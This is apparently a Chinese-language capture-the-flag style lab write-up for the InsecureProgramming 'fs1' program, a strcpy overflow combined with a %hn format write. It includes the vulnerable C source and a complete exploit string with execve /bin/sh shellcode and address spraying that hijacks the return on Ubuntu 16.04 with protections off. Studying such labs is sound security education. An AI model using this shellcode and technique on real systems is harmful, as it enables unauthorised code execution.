InsecureProgramming-master——fs1

一、实验介绍

1、实验环境:

Distributor ID: Ubuntu
Description: Ubuntu 16.04.1 LTS
Release: 16.04

Codename: xenial

2、实验工具:

gdb

3、实验程序

/* fs1.c                                                    *

int main(int argv,char **argc) {

  short int zero=0;

  int *plen=(int*)malloc(sizeof(int));

  char buf[256];



  strcpy(buf,argc[1]);

  printf("%s%hn\n",buf,plen);

  while(zero);

}

注: %hn :将当前字符串(buf)的长度(以字节为单位)打印到变量plen(两个字节)。

4、实验目的

构造输入参数,绕过while循环,执行shellcode

5、关闭ALSR

6、编译程序:关闭DEPSSP

二、分析汇编代码

输入的字符串是“abcdefg”。

程序有两步关键操作:

1、通过%hn将buf的实际长度写入plen中,但是只能写入两个字节,如果buf的长度过长,写入的长度会出现截断。例如,如果buf的长度为0x10000,则plen中只会写入0x0000。

2、通过检查zero是否为零,来判断是否发生栈溢出,zero只有为零,程序才能正常退出,否则程序陷入死循环。

当执行至地址0x80484ca处时,已完成plen的写入。

此时的栈空间:

三、编写exploit

  • 思路

首先,我们要利用strcpy()将栈中plen覆写为zero的地址,从而控制zero的值;然后利用%hn,将buf的实际长度写入zero中(因为在上一步中,plen已经被zero的地址覆写了),且需满足zero=0,以让程序可以正常退出,则buf最小长度为0x10000(因%hn只能写入2个字节,所以截断后是0x0000),当然也可以是0x20000,甚至更多。

  • ​​​​​构造字符串
$(python -c "print ('\x9c\xce\xfe\xff'+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80' + 'C'*(256-25-4)+'\x9e\xcf\xfe\xff' + '\x9c\xce\xfe\xff'*((0x10000 - 260 )/ 4) + 'X'*((0x10000 -260)%4))")

字符串结构:shellcode addr + shellcode + 填充字符 1 ("C" * 224)+ zero addr + 填充字符2shellcode addr * n

中间三部分很好理解,分别是用于执行的shellcode(28字节),用于填充buf的填充字符(224字节),和用于覆写plen的zero addr。

最后一部分字符串有两个作用:

1、用于填充。使得整个字符串的长度是0x10000,从而设置zero = 0x0000,绕过while循环,让程序可以正常退出;

2、用于修改该栈中ecx的值。从结尾处的汇编代码可以看出,程序通过ecx的值来设置esp,总而最后获取返回地址,所以,如果控制了栈中ecx的值,就相当于间接控制了程序的返回地址。而且将shellcode addr作为填充字符,不需要考虑ecx的在栈中的具体位置,地毯式轰炸,简单粗暴。

0x080484dc <+113>:	pop    ecx            // ecx = shellcode addr
0x080484dd <+114>:	pop    ebx
0x080484de <+115>:	pop    ebp
0x080484df <+116>:	lea    esp,[ecx-0x4]  //esp = shellcode addr – 0x4
0x080484e2 <+119>:	ret                   //[esp]  =  [shellcode addr – 0x4]= shellcode addr

第一部分的shellcode addr可能不太好理解。

通过最后一部分字符串,我们已经用shellcode addr 覆写了栈中ecx的值,所以当程序执行到0x80484e2处时,esp = shellcode addr - 0x4。

那么当执行ret指令时,栈中的弹出的返回地址即是[esp] = [shellcode addr - 0x4] = shellcode addr,所以,最后程序会跳转执行shellcode。

原文链接:加载失败,请重新获取